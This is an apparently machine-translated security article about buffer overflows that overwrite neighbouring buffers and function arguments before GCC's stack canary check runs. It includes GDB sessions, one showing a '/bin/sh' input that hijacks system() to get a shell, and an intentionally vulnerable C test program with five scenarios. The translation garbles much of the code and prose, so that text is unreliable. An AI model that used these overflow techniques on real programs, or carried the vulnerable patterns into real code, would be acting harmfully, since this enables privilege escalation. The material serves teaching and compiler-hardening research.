Fashion and fashion: the most fashionable Buffer Overflow target
In today's operating systems, memory defect vulnerabilities have become increasingly difficult to mine, and stack protection measures have made the original Buffer Overflow exploitation method (writing NOP blocks and shellcode into the buffer zone, overwrite the IP address pointed to by the EIP with the address in the buffer zone. Without some degree of information leakage, under the dual protection of address space distribution randomization (ASLR) and stack cookies, in fact, it is difficult to execute effective overflow attacks on remote systems using traditional methods.
However, there is still a stack input/output vulnerability that can be exploited. This article describes some common Buffer Overflow technologies that do not trigger the _ stack_chk_fail protection of stacks, or are at least valid so far. In this article, we will not use the new technology to modify the execution process of the program by modifying the EIP, but concentrate on a series of new goals. At the same time, this article will also discuss the function safety mode (function safety model) not found in GCC 4.6 and earlier versions in any document ).
Exceptions recorded by GCC ProPolice
According to the ProPolice document of the function security model, the following situations are not protected:
◆ Structures that cannot be re-sorted and pointers in functions are insecure.
◆ It is unsafe to use pointer variables as parameters.
◆ It is insecure to dynamically allocate string space.
◆ The function that calls the trampoline code is insecure.
In addition, we also find that the following situations are insecure:
◆ If more than one cache is defined in the function and is not correctly sorted, at least one cache may be modified and disturbed before reference.
◆ The pointer or primitive in the parameter list may be modified but referenced before canary detection.
◆ Any struct primitive or cache may be modified before reference (including stack objects in C ++ ).
◆ The pointer to the variable in the lower address of the stack frame is insecure, because the data may be overwritten before being referenced. Here we are no longer limited to local variables, pointers (such as function pointers), and caches in the current stack frame.
In IBM's document on function security models, it is assumed that the attack types are traditional stack overflow methods. It is declared in the document that the data after the canary stack is safe after the function is returned, and this is true. However, the problem is that the data may not be safe before the function returns. Even in different stack frames, the pointer to the stack's high address is easily rewritten.
Basic attacks
The following is a simple example:
# Include int main () {char buff [10]; char buff2 [10] = "dir "; // this command is valid for scanf ("% s", buff) and printf ("A secure compiler shoshould not execute this code in case of overflow in both windows and linux systems. \ n "); system (buff2 );}
This simple function contains two different variables. The first variable reads a string from the standard input, and the second variable acts as a parameter of the system function. The scanf function contains the overflow vulnerability. If we enter more than 10 characters, it will cause overflow and overwrite any data with a high address on the buff string array. In GCC, the "fstack-protoctor-all" mark is used to detect this situation in memory. Let's take a look at it with GDB:
Disassembly code of the main () function:
0x08048494 <+0>: push %ebp 0x08048495 <+1>: mov %esp,%ebp 0x08048497 <+3>: and $0xfffffff0,%esp 0x0804849a <+6>: sub $0x30,%esp 0x0804849d <+9>: mov %gs:0x14,%eax 0x080484a3 <+15>: mov %eax,0x2c(%esp) 0x080484a7 <+19>: xor %eax,%eax 0x080484a9 <+21>: movl $0x726964,0x22(%esp) 0x080484b1 <+29>: movl $0x0,0x26(%esp) 0x080484b9 <+37>: movw $0x0,0x2a(%esp) 0x080484c0 <+44>: lea 0x18(%esp),%eax 0x080484c4 <+48>: mov %eax,0x4(%esp) 0x080484c8 <+52>: movl $0x80485e0,(%esp) 0x080484cf <+59>: call 0x80483b0 0x080484d4 <+64>: movl $0x80485e4,(%esp) 0x080484db <+71>: call 0x8048390 0x080484e0 <+76>: lea 0x22(%esp),%eax 0x080484e4 <+80>: mov %eax,(%esp) 0x080484e7 <+83>: call 0x80483a0 0x080484ec <+88>: mov $0x0,%eax 0x080484f1 <+93>: mov 0x2c(%esp),%edx 0x080484f5 <+97>: xor %gs:0x14,%edx 0x080484fc <+104>: je 0x8048503 0x080484fe <+106>: call 0x8048380 <__stack_chk_fail@plt> 0x08048503 <+111>: leave 0x08048504 <+112>: ret End of assembler dump. (gdb) break *0x080484cf Breakpoint 1 at 0x80484cf: file firstexample.cpp, line 7. (gdb) break *0x080484e7 Breakpoint 2 at 0x80484e7: file firstexample.cpp, line 9. (gdb) r Starting program: /home/ewimberley/testing/a.out Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7 7 scanf("%s", buff); (gdb) x/s buff2 0xbffff312: "dir" (gdb) con condition continue (gdb) continue Continuing. aaaaaaaaaa/bin/sh A secure compiler should not execute this code in case of overflow. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9 9 system(buff2); (gdb) x/s buff2 0xbffff312: "/bin/sh" (gdb) continue Continuing. $ whoami ewimberley $ exit [Inferior 1 (process 3349) exited normally]
You can write 10 valid bytes to the buff, and the extra bytes can be written to buff2 (before canary is overwritten ). If we write 21 'A' from the standard input and view the memory, we can see that the first canary byte (0x00) is damaged.
Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7 7 scanf("%s", buff); (gdb) x/32x buff 0xbffff308: 0xdb 0x3b 0x16 0x00 0x24 0x93 0x2a 0x00 0xbffff310: 0xf4 0x8f 0x64 0x69 0x72 0x00 0x00 0x00 0xbffff318: 0x00 0x00 0x00 0x00 0x00 0xe6 0x75 0xc2 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00 (gdb) continue Continuing. aaaaaaaaaaaaaaaaaaaaa A secure compiler should not execute this code in case of overflow. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9 9 system(buff2); (gdb) x/32x buff 0xbffff308: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0xbffff310: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0xbffff318: 0x61 0x61 0x61 0x61 0x61 0x00 0x75 0xc2 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00 (gdb) continue Continuing. sh: aaaaaaaaaaa: not found *** stack smashing detected ***: /home/ewimberley/testing/a.out terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x2188d5] /lib/i386-linux-gnu/libc.so.6(+0xe7887)[0x218887] /home/ewimberley/testing/a.out[0x8048503] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x14a113] /home/ewimberley/testing/a.out[0x8048401] ======= Memory map: ======== 00110000-0012e000 r-xp 00000000 08:01 1577417 /lib/i386-linux/-gnu/ld-2.13.so 0012e000-0012f000 r--p 0001d000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so 0012f000-00130000 rw-p 0001e000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so 00130000-00131000 r-xp 00000000 00:00 0 [vdso] 00131000-002a7000 r-xp 00000000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 002a7000-002a9000 r--p 00176000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 002a9000-002aa000 rw-p 00178000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 002aa000-002ad000 rw-p 00000000 00:00 0 002ad000-002c9000 r-xp 00000000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 002c9000-002ca000 r--p 0001b000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 002ca000-002cb000 rw-p 0001c000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 08048000-08049000 r-xp 00000000 08:01 1048890 /home/ewimberley/testing/a.out 08049000-0804a000 r--p 00000000 08:01 1048890 /home/ewimberley/testing/a.out 0804a000-0804b000 rw-p 00001000 08:01 1048890 /home/ewimberley/testing/a.out 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7fec000-b7fed000 rw-p 00000000 00:00 0 b7ffc000-b8000000 rw-p 00000000 00:00 0 bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] Program received signal SIGABRT, Aborted. 0x00130416 in __kernel_vsyscall ()
Note that the error message from sh will still be printed:
Sh: aaaaaaaaa: not found
This is because the stack check is performed only when the function returns. The invalid string has been referenced before the memory is damaged. The first byte of the stack canary at the end of the string is overwritten (the error message contains only 11 'A' because buff2 contains the length of the byte ). Demonstrate the stack frame during function execution based on the Function Security Model:
The sequence of variable declaration usually determines the sequence of the variable declaration in the stack frame. The cache is usually declared at the bottom of the stack to mitigate its overflow attacks against other local variables. However, when there are two caches, one of them must be in the other cache and canary. If the buffer overflow vulnerability affects the first cache, the second cache can be written as needed. This is better than all local variables being attacked by overflow, But strings are usually more likely to be selected as attack targets.
Function parameters cannot be easily changed, so they are cached on these variables. The master function is cached at the bottom of the stack frame (high address ). As described above, the stack is not checked until the function returns, so these parameters may still be referenced by the current function. This indicates that the buffer overflow vulnerability can be triggered by writing malicious code to parameters.
void vulnerable(char* buffer) { char buff[10]; scanf("%s", buff); printf("A secure compiler should not execute this code in case of overflow.\n"); system(buffer); } int main() { char buff2[10] = "dir"; vulnerable(buff2); printf("The overflow happened in a different function...\n"); }
The stack frame structure of the vulnerable () function is similar (slightly different depending on the compiler ). Char * buff and char [] buff with vulnerabilities are on both sides of canary, but they still cannot be prevented from being attacked by overflow.
When the vulnerable () function reaches its return point, canary detection is still performed. Unfortunately, the attacker has obtained the shell access permission and killed the shell before the program generates any Stack Overflow warning. If the vulnerable () function opens a shell and kills its own process, the security detection will not run. Note that if the program runs with the root permission (or the suid is set and the program owner is root), the system root user permission can be obtained by exploiting this vulnerability.
Other attack vectors
The system (char *) function is just a simple example. There are many similar cases in the system. In this example, the attacker overflows a string directly transmitted to the printf function.
Targets that are vulnerable to attacks include but are not limited:
String passed to the system (char * command) Function
As a string (Strings that are used as a string format)
String containing SQL status
String containing XML
String written to the hard disk
String containing password information
String containing the encryption key
String containing the file name
Appendix
References
/* Copyright (C) 2012 Eric Wimberley and Nathan Harrison WARNING:
The following code is intentionally written into a vulnerable form.
Readers can try to compile the code in the test system or sandbox and run it with the daemon or root permission.
* /// Header file required in windows // # include "stdafx. h "// # include // header file required in linux # include // code portability for vulnerable function // TODO pick a vulnerable function, any vulnerable function // # define vulnerableFunction printf # define vulnerableFunction system // # define vulnerableFunction mysql_query (...)? // # Define vulnerableFunction someone_who_trusts_this_string_in_any_way (...)? // Code portability for scanf function (for what it's worth) // TODO comment out for linux // # define scanf scanf_s void () {char buff2 [10] = "dir"; char buff [10]; scanf ("% s", buff ); printf ("A secure compiler shoshould not execute this code in case of overflow. \ n "); vulnerableFunction (buff2);} void c (char * buffer) {char buff [10]; // The scanf_s vulnerability does not exist. // The pre-compiled command is used to ensure that scanf_s # ifndef scanf ("% S ", buff); # endif # ifdef scanf # undef scanf (" % s ", buff ); # define scanf scanf_s # endif printf ("A secure compiler shoshould not execute this code in case of overflow. \ n "); vulnerableFunction (buffer);} class TestClass {public: char buff [10]; char buff2 [21]; TestClass () {sscanf (buff2, "SELECT * FROM table;");} void a () {scanf ("% s", buff); printf ("A secure compiler shocould not execute this code In case of overflow. \ n "); vulnerableFunction (buff2) ;}}; void scenario1 () {// Case 1 and 2: simple stack frame // depending on compiler implementation these stack frames may be arranged so // such that one buffer can overflow into the other (at least one of these // works on most compilers) // TODO pick one of these printf ("Running scenario 1... \ n "); a () ;}void scenario2 () {// Case 2: heap overflow in the object // heap overflow is a known problem, Object makes the problem more serious. // because the cache between objects is adjacent. Printf ("Running scenario 2... \ n "); TestClass * test = new TestClass (); test-> a ();} void scenario3 () {// Case 3: stack Overflow in the object // objects on the stack are almost unaccounted for printf ("Running scenario 3... \ n "); TestClass test = TestClass (); test. a ();} void scenario4Part2 (TestClass & test) {test. a ();} void scenario4 () {// Case 4: stack Overflow in the object // objects on the stack are almost unaccounted for // This situation can also be used as proof that the stack check should be executed earlier // the best time for the stack check is after the cache is rewritten check printf ("Running scenario 4... \ n "); TestClass test = TestClass (); scenario4Part2 (test); printf (" The overflow happened in a different function... \ n ") ;}// honestly, this scenario might be the worst offender void scenario5 () {// Case 5: stack overflow in the object // function parameters are below the stack canary, however, due to incorrect timing, it contains vulnerabilities // This situation can also be used as a proof that the stack check should be executed earlier // the best time for the stack check is to directly check printf ("Running scenario 5... \ n "); char buff2 [10] =" dir "; c (buff2); printf (" The overflow happened in a different function... \ n ");} // TODO use precompiler to make this code portable // int _ tmain (int argc, char * argv []) int main (int argc, char * argv []) {if (argc = 2) {if (argv [1] [0] = '1') {scenario1 ();} else if (argv [1] [0] = '2') {scenario2 ();} else if (argv [1] [0] = '3 ') {scenario3 ();} else if (argv [1] [0] = '4') {scenario4 ();} else if (argv [1] [0] = '5') {scenario5 ();}} else {printf ("Usage [program] [scenario number 1-5] \ n");} printf ("\ nA secure compiler shoshould not get to this point. \ n "); return 0 ;}